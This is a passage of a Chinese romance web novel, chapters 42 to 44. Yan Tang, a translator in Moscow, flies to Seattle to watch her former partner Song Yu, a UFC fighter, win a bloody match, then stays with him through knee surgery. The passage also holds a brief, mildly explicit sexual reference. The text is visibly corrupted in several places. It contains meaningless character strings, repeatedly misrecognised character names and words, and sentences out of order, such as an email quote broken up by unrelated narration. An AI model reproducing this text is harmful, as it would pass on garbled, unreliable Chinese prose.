此前两不相见的每一分每一秒,最后变成令人难以忍受的孤独。他熟悉这种滋味,如果换做小时候,他会哭闹,会打电话要求在中国的父母停下工作,没日没夜地陪他说话。 但现在他不会。 他已经是个成熟的男人了。 他已经是个成熟的男人了。 他已经是个成熟的男人了。 宋郁反复这么告诉自己。 不印以发区么口叫曰口。 所以他应该有更高明的方法。 42、小熊问号 早上九点多,飞机从首都国际机场出发,滑过跑道逐渐升空,飞往谢列蔑契娃机场。 因为有五个小时的时差,燕棠抵达莫斯科后刚好是在中午,在列宁大街附近一家俄罗斯口味的中餐厅里吃过午餐,顺手拎着杯奶茶回了家。她拖着行李箱走到小区大楼后,微弱的秋日阳光拾好被勃列日涅夫楼的高层楼顶挡住,型区域内一片阴酶,以往在儿童乐园里玩要的小孩儿也不见踪影楼房从外部看很规整,但内部比较陈旧,电梯狭窄。燕棠刚踏入一楼就闻到某户人家里炖煮着红菜汤的香气,门后隐隐有一家子说话聊天的声音传来,回到家打开灯,公寓内部是一室一厅,带一个精致的小厨房。房东是个有情调的老太太,所以这里的家具和装修都十分温馨,只是近一周没人居住了,房子里安安静静的,稍显冷清。燕棠把包随手扔在沙发上,桌上摆着她上周出发前刚刚拆开的巧克力糖。走的时候匆忙,一大包散落在桌面,一个人不知道到底要吃到猴年马月去。 大概是昨天才在宋郁那里参加了一场热闹无比的派对,她在这会儿忽然感到一丝久违的寥落。燕棠冲了个澡,把脑子里多余的想法尽数洗去,疲惫地爬上床打算睡个午觉。不睡还好,午觉容易多梦,往往又长又累人,她今天也中招了。竟然梦见了以前和宋郁短暂住在一起的日子。那时候她多数时间都忙着陪宋郁进行训练,其实在公寓待的时间并不多,每周只有周日一天休息而在这种宋郁不需要全神贯注准备比赛的日子里,他那股专业认真的劲儿就被藏了起来,成了另一副样子 像只超大体型的幼熊,一直跟她屁股后面。 喝水要跟着,躺在沙发也非要挤在一起,连她在洗澡的时候,都要在门口转三圈,问她什么时候洗完 为了转移宋郁注意力,燕棠就会拉着他去外头餐厅吃饭,或者逛逛超市打发时间。 自从当过超市收银员后,燕棠对逛超市就有一种报复性的迷恋。 她一开始还会犯选择困难症,纠结乐事薯片是买原味还是黄瓜味,但宋郁的少爷作风完美地治好了她这个毛病,所有口味买一遍,想吃哪包吃哪包。 如果他不在体重控制期,燕棠吃不下的就会被他解决。 不过宋郁也并不总是那么好说话,如果他真的特别执着一件事情,会暂时妥协装乖,最后个大招 比如有一次燕棠洗澡洗太久了,他试图跟进浴室,燕忍无可忍,要求他不许再跟着她。 于是这小子还真的当了两天独立男性。 等燕棠以为这件事情过了之后,他忽然在第三天晚上搞高,潮控制那套,把她吊得不上不下的时候*出来。 灯光昏暗,他白皙的鼻尖覆了层薄汗,低头亲昵地蹭她的脸颊,撒娇般问她喜不喜欢他,想不想和他每天都在一起。 那晚结束,燕崇第一次怒气冲冲地打开他的手机。 浏览器的历史记录只能用“不堪入目”来形容。 梦中片段琐碎,一幕幕跟放电影似的在梦境里转过,燕棠从梦中艰难睁开眼,往窗外一看,天色已经彻底黑了下去。 手机屏幕亮起,显示时间是晚上六点半,微信消息持续弹出。 一打开,是当初俱乐部成员们一起建的微信群有新消息。随着燕棠的离开,这群已经沉寂了很久,今晚异常热闹。 超子:「昨天派对的照片出来了,来看帅哥美女!」下面接了一大串照片,有选手们的合照和自拍,还有不少宋郁的照片。他穿白衬衫的确别有一番风味,布料紧裹着结实的肌肉,力量感勃发,笑起来的样子更是惹人注目。照片背景里好几个女孩儿都在看着他。从前他那副娇气黏人的模样,好像已经成为了埋在记忆里的秘密,只有燕棠知道。但她不会多提。就如她不会对宋郁目前的态度多加揣测,也不会对他的私生活多作询问一样。现在的生活仍然不稳定,她手上的项目能不能成功、明年毕业后是留在莫斯科还是回北京等等,全然不确定。而宋郁的比赛多在美国他最近也在引入几个美国教练。之后究竟是打算继续留在北京,听唐齐教练说还是到UEC比赛最活跃的美国也厲舢姈疎答?芦泛蓖蚝不狛颮署偿清邨 不要多想,也不要多问,这样就不会忐忑不安,慌慌张张。 切都未定的时候,只能专心做好自己的手上的事情。 燕棠放下手机,披上薄毛衣,打开窗户。 冷风灌入,把她的头脑吹得清醒,也把那些胡思乱想的念头吹走了。 把ipad打开架在餐桌上,点开歌单,舒缓的音乐在室内荡起。 她在厨房煮了碗面,端到餐桌上一边吃一边刷剧,吃饱喝足后打开电脑例行检查邮箱 封新邮件给她带来了一个极大的好消息。邮件来白郑琦老师,她在邮件里提及:现在正是晚上九点多,走道里又有小情侣嘻嘻哈哈吵闹。燕棠砰地拍了一把桌面,忍不住中气十足地激动大喊:“太好了!!!" 如果你打算找学院里的学生进行翻泽工作,我手上有几个好苗子。当然了,如果能够在院级达成合作,对学生的吸引力会更强一点,就像你之前在学校里参加的项目一样。这么做还有一个好处,就是能帮你拓展线上的课道 门外的人听不懂中文,被这一吼震得不敢吱声,第一次轻手轻脚进了门。 自从先前的策划案被委婉打回后,燕棠思考了很多种修改方案,说到底就是想尽办法让项目部确信至少是能赚钱的。既然这样,除了找到国内市场目前几个规模较大的线上阅读平台,拓宽渠道外,还需要降低成本,找符合资格的学生进行翻译就是一条路。不过如果这么做,她就会更辛苦一些,除了自己需要承担翻译任务,还要把更多时间用在把控翻译质量上,保证这些作品能够通过质控部的审核。万事开头难,燕棠有心理准备。接下来的日子就变得更忙了,除了在基金会的项目之外,燕崇的研究生最后一个学年也走到了一半,毕业论文和各种琐碎的手续占用了她不少的时间,俄罗斯东正教使用儒略历,圣诞节在1月7日,新年公共假期到1月10日,而学校的冬季假期在12月下旬开始。所有人都在快乐过节的时候,燕棠却并没有闲下来,她忙完学校的事情就一头扎进新策划案的收尾工作,准备赶在收假后立刻把新策划案提交给项目部, 掐指一算,她从北京回到莫斯科后,几乎一直没日没夜地闭关,还没好好休息过。 相比她的忙碌,在俄留子群里的朋友们在放假后就开始分享莫斯科街头的圣诞气氛红场附近热闹非凡,双层旋转木马上坐着一群洋娃娃般的斯拉夫幼患,街边四处立着装饰精致绚丽的圣诞树,教堂被灯带包裹天一下雪,这里就像童话世界。燕棠被这些照片勾得在电脑面前坐立不安,索性在接下来几天里把手机静音扔到卧室里,反正假期内没有要事,一般也没什么人找,紧赶慢赶,终于在收假前一晚把策划案写完了。从电脑前解放出来,燕棠回到卧室,拿起手机,发现自己收到了几条新消息,有一条是宋郁发来的。 甜熊:「谢谢你送的领带,造型师说只有它能搭配明天访谈的衣服。」 发来的时间是两个小时以前,燕棠这会儿才看见。 「你喜欢就好。」 [要参加什么活动吗?」 消息刚发出去,对方很快就回复,相当详细地交代了自己未来的日程。 [我在美国参加xxx杂志的体育板块专访,顺便准备接下来那场在西雅图的比赛。」 燕棠没想到宋郁这一下直接又飞美国去了,于是祝他访谈和比赛顺顺利利。 她明天要早早赶去基金会总部,不能睡太晚,跟他聊了两句便说了晚安,第二天早上带着写好的新策划书直奔项目部. 电子版的文件已经发给了项目部邮箱,但燕棠打算亲自找保罗再探探口风,要是有什么不合适的也能及时修改。 可收假第一天,大家多少有点儿疲于上班的意思,她抵达的时候保罗还没到,燕崇跟他的秘书打了个招呼,去咖啡厅里点了杯咖啡等人。 咖啡喝了一半,还没收到保罗上班的消息. 这采访走的是直播的形式,西雅图和莫斯科有十一个小时的时差,这会儿早就结束了,平台上有回放内容。 宋郁果然用上了燕棠送的那条领带,花纹颜色与他的西装确实很搭,甚至有点儿像是为了搭配这条领带特地买的西装, ,一身打扮稳重之余不显老气,衬得他年轻貌美,意气风发 视频里,他和主持人礼貌握手,裁剪得当的衣料包裹着结实的身体,坐下来时,西装外套胸口的部分还会微微隆起。主持人毫不遮掩地赞叹他的身材:“哇哦。美国媒体的风格偏活泼,尤其是体育这种兼具专业性和娱乐性的板块,宋郁脑子聪明,反应很快,跟主持人聊得很愉快。燕棠原本是看这个采访打发时间,可要怪宋郁那张脸实在是太犯规,哪怕她完全不认识他,也忍不住盯着他看,欣赏他笑起来或者沉思的样子。她不知不觉便全神贯注,过了一会儿,忽然感觉身上有一道阴影笼罩。燕棠缓缓拾头,一张和宋郁几乎一模一样的脸就出现在她面前。吓得她拿咖啡杯的手都抖了一下,几滴咖啡洒落在桌面黑发,灰棕色瞳孔,同样的长睫毛、秀挺的鼻梁和白皙的皮肤。 ".lya,好巧。" 只不过这位笑容太少,嗓音是一如既往地平淡:“你也关注这个?" 说完,宋璟给她递去纸巾。 “随便看看。燕棠有种被抓包的尴尬,刚想把手机拿走,宋璟却直接在她身边坐下,“你今天来这里有事儿吗?"“我找保罗聊项目。"宋璟静静看了她一眼,再一次为她这段时间以来所表现出的工作态度而感到意外。不过他很快就收回了目光,“正好我也在等保罗,介意我一起看Kiril的采访吗?燕棠这个时候说介意可就太没眼力见儿了,宋璟可是保罗的顶头上司,她的甲方,以后多得是要打交道的地方。但她每次一想到宋璟是她曾经的补习对象、后来的初恋情人的亲哥,还是当年被她请来把宋郁抓走的天降神兵,那股尴尬还是没有散去。她缓缓吸了一口气,把手机往宋璟那边挪一点。 燕棠一怔,侧头看向宋璟-宋璟跟宋郁最大的差别,就是他多数时间里是喜怒不形于色的,他很少说不,也很少点头说好,甚至连说出口的话都很少,他一般只是静静地观察别人,以至于和他对视的时候,让人总有一种被看穿的感觉,等直正开口后,三言两语就会被他压制。燕棠足够敏感,在最近几次接触下来,她感觉宋璟对她的态度似乎稍有变化,过去那种疏离冷淡的礼貌散去不少,多了几分温和的松弛不然不至于第一次在她面前主动提起宋郁。“他一开始学MMA,是为了让爸妈在国内担心牵挂他。”宋璟说。 手机是静音的,视频有英文字幕,两人安静无声地看了一会儿视频,宋璟忽然又开口:“其实家里一开始是不支持他去学MMA的。 燕棠愣了一秒,立刻笑了。 “很意外吗?" 她摇摇头,“一点儿也不意外。 “他从小就是个很任性的孩子,从来听不进别人的反对意见。我们以为他在比赛里吃了苦就知道消停了,毕竟他小时候因为芝麻大点儿事都要哭,但没想到竟然坚持到现在。 宋璟说完,侧过脸看向燕棠. “有的东西的确需要更长的时间才能被看见,你觉得呢?燕棠不太确定宋璟为什么要对她说这些。不过他们也并没有继续说这个话题,因为保罗终于哼哧哼哧地赶来了。他刚跟燕棠笑着问好,得知宋璟也在等他谈事的时候,脸上神情凝滞一秒,一脸天都要塌了的样子, 也不知是不是宋璟在旁听,燕棠跟保罗聊得很顺利,项目终于再次进入审核阶段。燕棠在下午离开基金会总部,如释重负地舒了口气,一路散步至红场附近。这里还有专门庆祝中国春节的集市,随着天色变晚,集市里的人渐渐多了起来,横在街道上空的灯带和彩旗斑斓绚丽,街边小吃摊冒出蒸腾的热气,她掏出手机拍照,恰巧又收到了微信消息,是宋郁说采访结束了,还顺口问她有没有看。燕棠:「看啦,你很帅,主持人都被你迷倒了。」那边显示正在输入中。 她又顺口说:「特别巧,今天碰到了lya,我和他一起看的,他也觉得你表现得特别好。」“对方正在输入中”的字眼忽然消失。过了很久很久,就在燕棠已经高高兴兴地逛完集市,准备打道回府的时候,才收到了宋郁的回复他第一次就宋璟发表了意见。甜熊:[你们什么时候这么熟了?」「小熊问号jpg」在他们两人之间这一堆客客气气、十分有距离感的聊天记录里,这个突然出现的小熊表情包显得尤为突兀。 燕棠一时搞不清楚宋郁到底是想表达什么情绪。 她疑惑回复:「这算熟吗?」 甜熊:「不是说搞事业的女孩子都不希望男人靠得太近吗?」 燕棠盯着这行俄文看了三遍,确定自己没有看错之后,一头雾水 这句话本身似乎没什么问题,但宋郁这个时候说也有点儿太莫名其妙了吧。 她眉头皱起,琢磨半天,最终决定以毒攻毒,回复:「小熊问号jpg」 对话框内,两只穿着背带裤的小熊,脑袋上分别顶着三个大大的问号,大眼瞪小眼。 就在燕棠冒出了一个诡异的猜测,开始对上了宋郁的脑电波时,她忽然收到了小谭的消息 小谭给她发来一张三月初在西雅图举办的UFC赛事门票,以及用她护照预定的机票。 「哎,天底下怎么会有宋老师这么可怜的人!」 [父母双宿双栖去度假,兄长居心叵测在莫斯科!没有人有空去西雅图看他的比赛! 「把他一手带大的小燕老师,你一定是个好心人,如果你能来,宋老师会很高兴的」 似乎是觉得以上三段话有道德绑架嫌疑,小谭出于正义感,悄悄又补充了一句: 「没空也没关系,小燕老师别有负担哈,他以前也是一个人。」 43、不是幻觉 现在是一月初,谈三月的事情还太奢侈 燕棠念研究生的大学宽进严出,毕业要求非常严格。等下学期一开学,就需要依服评审意见修改论文、准备答辩材料,此外还得在系内办理各种手续的政碎事情,另一边,基金会新一年度的都泽工作又要分配下来了,她自己推进的项目还在走流程,六月之前都是非常忙碌的时候她没有立刻给回音,给小谭发去感谢后,说自己能去尽量去。之后的两个月里,燕棠的生活照旧进行,偶尔会收到宋郁的消息,不算多。她陪木能训练过,知道他的日常生活里其实很少碰手机,训练和会议占去了大部分的精力,更别说剩余时间还要要写学校的作业,之前那几次能秒回消息也不知道是不是巧合。就算是聊天 两人说的话也不多。在零碎的交流中,燕棠得知他在训练之余也会在西雅图附近走走逛逛,碰上有意思的东西,宋郁会给她拍照片,比如西雅图的口香糖墙,雨天的城市街道或者在隔着海岸的雷尼尔山小谭倒是和她增加了联系,大概是因为陪老板在异国训练闲得无聊,又签了保密协议,能说得上话的没几个人。“悲惨的男大学生。燕棠在某晚收到小谭发来的照片,是宋郁在一天的训练结束之后,坐在临时租住的公寓书房里赶论文。照片里,宋郁穿着连帽卫衣和宽松的灰色运动裤,坐在电脑面前写论文。从角度看大概是偷拍的,拍的很随意,但架不住他有张好看的脸蛋和优越的身材,这种随便一拍的照片乍一看也像画报一样让人感到赏心悦目。 莫斯科的冬季很长,这时候还缺少阳光,多数时候是阴沉沉的天气,无形中也影响了人的心情。照片里宋郁那头浓密的浅棕色头发,在台灯照射下颜色变得更浅。皮肤是白白的,头发是浅浅亮亮的。燕棠看了的确感到心情变好。不过她在连续好几次收到小谭发来的照片后,终于忍不住问:“我记得他好像不太喜欢被拍照,这样他会不会生气批评你?"结果小谭沉默了好一会儿,才说:“宋老师是个好人。 时间在两人问断性的联络中慢慢接近三月,燕棠一直过有在基金会总部、学校和公寓三点一线的生活。 在距离比赛还有一周时,小谭再次来问她是否有空,如果有空的话,他帮她订个酒店。 “很可能去不了了。燕棠遗憾地告诉他。“我下周要跟论,文导师见面,在基金会还有一个项目沟通会,时间一个在周二下午,一个在周三上午。"莫斯科飞西雅图没有直达的飞机,小谭之前给燕棠买的机票就在周三上午,中间还要在纽约转机,抵达西雅图的时候恰好是周三晚上。原计划是燕棠在酒店休息一晚,恰好能舒舒服服地参加宋郁在周四傍晚的比赛。 小谭表示很理解。 现在燕棠在周三上午有会,要是让她赶着过去西雅图,那真是不眠不休地赶路,实在是有些强人所难了。 燕棠把这条消息发给小谭后,很快又收到了宋郁的消息。 他倒是没有提及她不能来看比赛的事情,只说听小谭提起她下周有两个重要的会议,祝她顺利。 燕棠也祝他比赛加油,然后收到他客气的感谢。 其实燕棠心里仍然很希望能到现场支持一下宋郁。 这场比赛是宋郁在top10排名赛的最后一场,如果顺利结束,他就可以挤进top5,进一步去争取金腰带。 他年纪小,技术成熟,在圈子里是热门选手,关注度特别高,加上之前派对上唐齐跟她提起过宋郁现在的情况,燕棠猜测他的压力应该特别大。 可她这里的事情也麻烦。 边是要确定论文终稿,一边是立项通过前的最后审核,都是大事。 不过很可能去不了,不是一定不能去。 燕棠其实已经给航空公司打了电话改签机票,如果她上午的会议能够顺利结束,那么她在结束后直奔机场,飞十几个小时到西雅图,还是能赶上这场比赛的。 他们之前那几次偶尔的约见,总是因为这样或那样的原因而没有成行。燕棠担心给出承诺又无法履行,最后影响末部的比赛心态反倒不好了,所以只能按照最坏的情况打算,连改签的计划也没有向宋郁提 周三上午,她直接拖着行李箱进入基金会总部开会。 这几个月没日没夜的努力没有白费,项目终于正式通过审核。燕棠还没时间庆祝,中午离开大楼后,直接打车直奔机场,进安检过海关,上飞机一气呵成。 等飞机起飞的时候,燕棠才想起还没给宋郁发消息说这件事 不过她手机上有详细的比赛信息,小谭这会儿肯定也忙得不行,她到得太突然也可能打断他们的工作节奏。 燕棠一琢磨,便打算当一次纯游客。 飞机在西雅图的周四中午落地。 从机场打车到比赛场地大概需要一个小时,她本以为时间还算充足。 但旅行总是意外多,西雅图的机场不仅人多,过安检还特别慢,她硬生生在机场里排了三个小时的队,终于搭上了uber往场地赶去。 作为一个每次出行都精打细算、留出充分时间的人,这次生死时速的跨国旅行简直是燕棠人生中的里程碑事件。 不过所有的焦躁和疲惫,在她提着行李箱站在体育馆前时,都忽然消散了。 今天是个好天气,傍晚紫霞漫天,市区长长的马路从这头延展到那头,两侧建筑并立,是一幅对称的城市景观画 体育馆场地热闹非凡,入口处有安检,每个通过检票的观众都可以得到一枚类似于金腰带形状的手环。 进去就是条宽敞的通道,直走就能抵达今晚的比赛场地内部,通道两侧墙面上挂着电子屏,轮流播放着今晚比赛的选手。 许多入场的观众都会在屏幕前驻足片刻,有的是举着手环拍照打卡,有的是和自己喜欢的格斗选手照片合照。 燕棠之前作为工作人员来过两次比赛现场,每次都是走特殊通道,还没真正体验过当观众的感觉,这会儿也站在屏幕附近看 屏幕上画面一转,出现了她熟悉的面孔, 宋郁在拍照时是从来不笑的,那张漂亮的脸蛋在镜头下显得锐利而冷冽,而他旁边的对手却是一副笑脸,身上是一整片纹身,看起来唬人极了。 Kirill Song-Volkov Moscow, Russia VS Austin Smith Chicago, U.S.A 燕棠前段时间实在是太忙,竟没注意到他这回的对手是奥斯汀。 上次在摩尔曼斯克见面,他们还聊起了这个人。奥斯和宋郁的比赛风格相似,在技术之外还都有一个很字。而奥斯汀的年纪比宋都要大八岁,之前休养了一段时间,是从top5里掉下来的,实力很强 几个打扮精致的白人女孩儿跑到宋郁的照片前合影,一个个举着手机,笑容不断,调整角度要把合照拍得好看。 而燕棠心里升上一丝担忧,也没心情再驻足,直接往场地里走。 她拿到的票是贵宾座位,离八角笼比较近,刚一坐下,她就发现身边坐着几个常常出现在中外财经新闻和娱乐版块的熟面孔。 有的人还跟她打招呼,问她支持谁,得知她支持的是今晚主赛的Kiri,对方还笑着说他绝对是女孩儿首选。 燕棠笑了笑没说话。八角笼位于赛场中央,无数盏射灯交替旋转,轮番扫过观众席,八面超大屏幕实时播放跟随摄像机的拍摄内容很快,选手就登场了。宋郁被几名高大强壮的黑衣教练们围着入场,镜头实时跟随,灯光明暗分界,照亮他俊秀漂亮的脸所有人都为他欢呼,就连燕崇身边坐着的明星和商界精英们都在喊他的名字。 成为纯粹的观众和之前作为工作人员入场真是很不一样。譬如这一刻,燕棠再一次鲜明地感受到了宋郁注定是个被很多很多人喜欢、受到万众瞩日的人,甚至于他现在的人生还在一步步往上走,还未抵达巅峰。可他已经如此耀眼。哪怕在赛场上睥睨一切,他在私底下仍然会像普通大学生一样,在电脑面前为看不懂的中文女献发愁,喜欢用卡通表情包聊天,曾经还会黏着人不放手,会把她吃剩的零食解决掉.燕棠的思绪不知道什么时候就飘远了,心里也冒出一股别样的情绪。不过这点心绪很快就被主持人热烈的声音打断了,比赛很快开始。正如燕棠所料,这不是一场轻松的比赛。宋郁十八岁时刚刚步入UFC,由于训练得久,比赛意识很好,在很长一段时间内完全是在单方面虐菜。但UFC毕竟是一个汇聚世界格斗精英的地方,越往上老将越多,不少人都有自己的传奇经历,甚至有许多人是从贫困潦倒的境地中站起来,靠拳头和鲜血站在巅峰的, 譬如宋郁今天的对手奥斯汀,就是一个典型的美国式街头潦倒青年,也正因如此,奥斯丁在赛场上也并不讲究什么温和策略。 但饶是有预期,这场比赛还是比燕棠想得要血腥得多。 当镜头里忽然飚出一地的鲜血的时候,燕棠听见周围的观众惊叫了一声。 “谁的血?谁在出血?"“两个人身上全都是血!在这种带有残酷特性的格斗比赛里,观众对于血腥场面反而有着更大的热情。燕棠周围的所有人都在欢呼,只有她愣愣地看着赛场上的情形 两个人所经之处全是血迹,奥斯汀很狼狈,宋郁脸上也有一道鲜血,不知道是从哪里的伤口流出来,淌至整个面中,显得他凶狠又可怕 气氛达到最高点时,宋郁被奥斯汀绞住,左膝狠狠砸在了地面上,那一处变得鲜血淋漓。 其他观众似乎觉得这场比赛到此为止了,开始惋惜地叹气。 可下一秒,他忽然站起来了,接下来的动作让整场人都开始尖叫一 宋郁把人高马大的对手打起来,向后一仰,连带着背上的对手一起狠狠地倒在了地面上。 比赛到此结束,宋郁险胜。 观众们说这应该是今年最精彩的比赛之一 只有燕棠觉得这场比赛令人煎熬。 她缓了缓神,拿起手机给小谭发了消息。 没过一会儿,小谭又惊又喜,兴高采烈地接她去后台。 “你能来真是太好了!我还没来得及跟宋老师说,他知道一定很高兴. 燕棠担忧地问:“他还好吗?" 刚才那场比赛,让宋郁第一次被人扶下八角笼, 小谭摇了摇头,“要等医疗团队来看过才知道,不过… 他欲言又止,最终还是没说出口。 两人刚走到临时休息室,大门只留出两掌宽的缝,就听见里面有交谈声,有男有女,还有宋郁的声音,讲的是英语。 燕棠透过门缝隐约看见了宋郁,他的伤势只是简单处理过,膝盖上盖着医用纱布,姿态放松地坐在沙发上,正跟身边打扮新潮的男女们聊天。 他脸上挂着闲散的笑,眉眼间有些疲惫,话不多,但还是应付着来客,还给人写了名。 “UFC在美国这边知名度很高,挺多有钱人也喜欢看,里面是赞助商公司的小太子和他带来的女孩,儿.…" “伤那么重,怎么不先去看医生,还在这里聊闲天?" “毕竟是赞助商那边的人嘛,宋老师虽然有点儿脾气,但关键时候还是很给人面子的。 燕棠听小谭这么说,便止住了脚步,“那还足等他们聊完吧。 PN豆传件开,前不HX觉 衣色," 宋郁一愣,不自觉地坐直了身体,怔怔地看着门口处那个穿着薄毛衣和浅色长裙,手里还拎着行李箱的女孩儿, “那是你的朋友?”他身边的人问。 他没吱声。 门被推开了,燕棠索性就拖着行李箱走了进来,礼貌性地跟宋郁旁边的几个男女打了招呼,随后小谭便把人送走了。 燕棠转头,和宋郁对上了目光。 他坐在沙发上,一言不发地盯着她看,也不知道在想什么,视线像是黏在了她身上似的。 “不是幻觉。"燕棠吐出这句话,忍不住上手捏住他下巴,左看右看,上看下看。发丝凌乱,额角一道血痕,耳骨处一道血痕,头顶还有一道特别长的,血淋淋的豁口触目惊心。 她抿着嘴,伸手要去掀那块盖在膝盖上的纱布,结果宋郁下意识按住了她的手腕. 燕棠:“放开。” 纱布一掀开,下面血肉模糊,皮开肉绽。 她呼吸一滞。 “我没事。”他说。小谭也说:“对呀对呀,宋老师虽然今天比赛打得很壮烈,但是他把自己的脸保护得很好! 44、眼眶变红 在UFC赛场上,经常有选手被打得鼻青脸肿, 血流满面,在一些社交媒体上还能看见选手面部水肿到畸形的照片 燕棠垂眼盯着宋郁的脸蛋看。 虽说他脸上没受伤,但经历了一场如此焦灼的比赛,脸侧仍留下了些许血渍。 也许是被她看得太久了,宋郁终于从出神的状态缓过来。 他凝视着她,声音是藏不住的高兴:“你怎么来了?不是要开会吗?" “进行得比较顺利,按时结束后我赶上改签的飞机了。 燕棠只是简单地提了一下,但宋郁稍微一想就明白了她的用心,脸上终于扬起一个笑来, “怎么没有提前跟我说?等会儿我带你去吃 “要先去医院。”她说,“赛后的采访和派对都放一放吧?你现在情况很不好。 宋郁虽然跟她说话时恢复了点儿精神,但身上仍然环绕着挥之不去的疲倦,脸色也略有苍白, 他头一次被燕棠用略带强硬的态度要求,异常听话,立刻改口:“那从医院出来,我再带你到市里转转。 话是这么说,等到医院里让医生用X光和MRI检查过后,结果却比预期的还要不理想。 宋郁是职业格斗选手,在UFC的医疗团队安排协调下,避开了堵在体育馆周围的媒体,在这晚直接进了当地一家著名的医疗中心看诊。 除了燕棠和小谭外,教练们也陪同在一侧。 “需要立刻安排手术。” 医生说。 “膝关节骨裂,部分韧带受损。之前有病史,这次伤得重,情况不好。 诊室内,墙面和地板都是温和的暖色调,但气氛却有些冷凝。 显示屏上放映着拍片的结果,医生拿着笔在伤处比划着解释了伤情,最后给出判定,寥寥几句话已经足够显示出严重性 宋郁坐在诊疗床边沉默地听。 他头部的伤口虽然看起来狰狞,但只是表层伤口,经过处理后已经结痂,不需要针。但膝盖上是开放性伤口,现在只临时采取了强效业痛药和冷敷周边皮肤的措施,看上去仍然很可怕。 听医生说完后,他问:“恢复周期要多久?" “至少要休息九个月,但这只是恢复正常行动一般需要的时间。如果按照运动员的标准来看,究竟能不能恢复到继续高强度训练的水平,还要看这九个月的恢复情况。 “完全恢复的概率是多少?" “50%左右。" 对半分的概率并不算高。 宋郁默了片刻,才说:“那就尽快手术吧。 手术最快可以安排在第二天早上进行,医生团队准备手术方案期间,宋郁先住进了单人病房里。 教练们在病房里跟他聊了一会儿,大意是让他安心先休养,不要想太多,见宋郁情绪还算稳定,便先回了住处休息。 燕棠全程跟在他身边,到病房后就坐在病床边的椅子上,一言不发,只是安静地听着他们说话。 刚才宋郁听见恢复概率时脸上闪过一瞬的凝滞,那神情始终在她脑海里挥之不去。 她打心眼儿里觉得,如果宋郁就这么离开赛场也并无不可。 那比赛太过惨烈,就算夺得冠军拿到金腰带,之后还要面临不断出现的挑战者,进行冠军卫冕赛,直到撑不下去为止。 可如果站在宋郁的角度,这是他从八岁开始坚持至今,已有足足十三个年头的事业。 能坚持到现在,追求的都是白我实现,大抵无关金钱、名誉之类身外之物。 燕棠做了几年翻译,遑论还见证过宋郁尚且是新人的阶段,对这件事看得明白。 也正是看得明白,现在才觉得揪心,不知道该劝他看开,还是该劝他不要放弃。 “我等会儿让小谭送你去我的公寓休息。” 躺在病床躥拙上的末郁忽然开口。 燕棠终于回神,抬起头和他对上视线。 “病房的环境没有公寓好,不过那里没有布置多余的房间,等下就让小谭整理一下我的卧室,你先住在那里” 燕棠摇摇头,“没关系,我就在这里等。"”你听我的,先回去休息。 宋郁坚持这么说,最后燕棠只得用“再叽歪下次就不来了”让他闭上了嘴。其实病房环境并不差,有点儿像酒店套房,除了有独立的浴室和洗手间之外,还有一个供家属休息的房间。小谭去买日用品的间隙,燕棠在路上奔波了十几个小时,就在房间里洗了个澡。宋郁穿着病号服躺在病床上,左腿没法动弹,整个人身上还残留着比赛留下倦意,听浴室里隐隐传来哗啦啦的水声,思绪不自主地走偏没过多久,浴室的门打开。燕棠换了身宽松居家的T恤和长裤,长发半干披散在身后,手上拿着一条温热的毛巾,走到床边递给宋郁“你现在没法洗澡,先给自己擦擦吧。 毛巾散发着热烘烘的暖意,连带着她身上的水汽一起往宋郁身上扑。 他说:“刚比赛完,手臂肌肉也痛,抬不起来。" “可是小谭好像还要一会儿才能回来。” 宋郁默了两秒,也说:“是啊,我也觉得不是很舒服,这可怎么办呢。 可燕棠很有原则,只好收起了毛巾,遗憾地说:“那再等等吧。 他欲言又止,盯着她看了半响,但最后什么也没有说。 因为成熟的人会懂得遵循社交边界。 不过宋郁在半个小时后就后悔了,因为他被小谭用毛巾像擦桌子一样从头到脚抹了一遍。 最重要的是,燕棠还回避了这个场景,躲在房间里直到医生拿着确定好的手术方案过来,才打开门出来听。 “手术预计需要三到四个小时,修复软组织并且检查其他关节组织是否有损伤,同时对骨裂的部位进行固定。手术会在早上七点开始,先进行麻醉评估! 将近四个小时的全麻手术,医生还详细介绍了手术的过程,虽说不是大型手术,但燕还是听得心焦。 是手术就有风险,连麻醉都是有风险的。 宋郁的父母和哥哥都不在这里,手术又安排得急,虽然教练们都在附近,有事很快就能赶过来,但总让她有种没着落的感觉. 她尽量避免表现出自己的焦虑,但等清晨开始进行术前准备的时候,那股忧虑还是浮现在了眉眼上。 “你是胆小鬼吗?" 病房外的天空还只是蒙蒙亮,一片模糊不清的雾蓝色。 宋郁换上了手术服,躺在单人病床上。 虽说晚上有几个小时可以休息,但他实际并没有睡着,眼下有淡淡的青色,皮肤又白,显得有些脆弱。 这样子让燕棠更放心不下了,她低着头和他对视两秒,叹了口气,“是,我是胆小鬼。宋郁却笑了,“我看出来了,你一直是。他看着她的目光也很深,两人看着彼此迟迟没说话。护士在这时走过来,说要进手术室了。燕棠看着宋郁被推进去,来到专门的房间等候。小谭和唐齐也坐在这里等,又聊起昨天的比赛。昨晚进医院时,宋郁就给父母发去了消息,估计是当时他把情况说得轻松,娜斯佳没有太多心理准备,这会儿刷到自己儿子的视频,看见他一身淌满了血的样子,直接给燕棠打电活哭了起来 “还好你在他的身边,等他稍微恢复,麻烦你劝劝他…” 燕棠接完电话,心里更难受了一些。 好在手术顺利,在进行了三个小时四十分钟后,宋郁被推回了病房里,没多久就从麻醉里醒过来了。 等小谭辅助他换一身衣服,燕棠才回到病房,一推门就看见宋郁安安静静地躺在病床上。 人从麻醉中醒来后还要一阵儿才能恢复清醒,对麻醉剂敏感的病人可能有不同的反应,有的会胡言乱语,有的会异常亢奋。 不过宋郁倒是异常的乖,躺在病床上,脸色比平常还白一些,长长的睫毛垂着,柔软的发丝略有些凌乱。 见燕棠进来了,他就一声不吭地盯着她看。 小谭问:“您还有哪儿不舒服?"他开口,声音稍哑:“我想喝树莓汁。” 说完后顿了片刻,像是在思索什么,然后给出一个店名,让小谭必须去买那一家。 打工人小谭搜了下地图,淡定收起手机,对燕棠说:“小燕老师,我大概要俩小时才能回来,宋老师他脑子还有点儿不清醒,麻烦你多照顾一下了。 燕棠让小谭放心,送他出去后关上病房的门,在病床边坐下。 “还需要什么吗?”她轻声问。 躺在床上的宋郁点点头,“出汗了不舒服。" 燕棠左看看右看看,也没见他身上哪儿冒汗了,可宋郁坚持说不舒服 他看上去的确是麻醉没完全清醒的样子,声音很轻,嘴上也不说多余的话,问一句说一句。 燕棠不动,他也不催,只是目光像个小孩儿似的追着人不放。 病人为上,再加上娜斯佳今早在电话里哭得可怜,燕崇这会儿也不再过多纠结细枝末节的事情,去拿起毛巾用热水沾湿,过来给宋郁擦汗。 